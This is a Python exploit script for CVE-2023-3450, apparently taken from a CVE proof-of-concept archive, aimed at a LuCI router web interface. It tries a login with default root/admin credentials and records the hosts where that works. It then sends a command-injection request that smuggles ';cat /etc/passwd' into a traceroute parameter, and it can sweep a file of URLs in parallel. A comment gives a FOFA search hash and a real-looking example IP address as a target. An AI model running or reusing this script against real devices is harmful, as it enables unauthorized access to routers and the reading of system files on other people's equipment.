4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-3450.py PY
# -*- coding:utf-8 -*-
import argparse, sys, base64, requests
import re
from multiprocessing.dummy import Pool

requests.packages.urllib3.disable_warnings()


# fofa:icon_hash="-399311436"
# 案例:http://123.54.231.201:6060

def banner():
    content = '''


 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██╗  ██╗███████╗ ██████╗ 
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗██║  ██║██╔════╝██╔═████╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝███████║███████╗██║██╔██║
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗╚════██║╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝     ██║███████║╚██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝      ╚═╝╚══════╝ ╚═════╝ 
                                                                                                    

    '''
    print(content)


def poc(target):
    url = target + '/cgi-bin/luci?u=root&p=admin&_=0.8260737660449504'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
        'Accept-Encoding': 'gzip, deflate'
    }
    try:
        res = requests.get(url, headers=headers, verify=False, timeout=5).text
        if 'ok' in res:
            print(f'[+]{target}登录成功')
            with open('result.txt', 'a+', encoding='utf-8') as f:
                f.write(target + '\n')
                return True
        else:
            print(f'[-]{target}登陆失败')
            return False
    except:
        print(f'[-]{target}无法进入')


def exp(target):
    url = target + '/cgi-bin/luci/;stok=b3bafdbb03f0dfcf96bef095f6060d64/admin/diagnosis?diag=tracert&tracert_address=127.0.0.1%3Bcat+%2Fetc%2Fpasswd&seq=0'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
        'Accept-Encoding': 'gzip, deflate',
        'Cookie': 'sysauth=2c695fe03878d9a754730dce32bfd4ca'
    }
    res = requests.get(url, headers=headers, verify=False, timeout=5).text
    if 'root' in res:
        print(f'[+]{target}有命令执行漏洞')
        print(re.findall('msg":"(.*?)"',res))
    else:
        print(f'[-]{target}没有命令执行漏洞')


def main():
    banner()
    parser = argparse.ArgumentParser(description='CVE-2023-3450')
    parser.add_argument('-u', '--url', dest='url', type=str, help='example:http://example.com')
    parser.add_argument('-f', '--file', dest='file', type=str, help='url.txt')

    args = parser.parse_args()
    if args.url and not args.file:
        if poc(args.url):
            exp(args.url)
    elif args.file and not args.url:
        url_list = []
        with open(args.file, 'r', encoding='utf-8') as f:
            for url in f.readlines():
                url_list.append(url.strip().replace('\n', ''))
            mp = Pool(10)
            mp.map(poc, url_list)
            mp.close()
            mp.join()
    else:
        print(f'Usage:\n\tpython3 {sys.argv[0]} -h')


if __name__ == '__main__':
    main()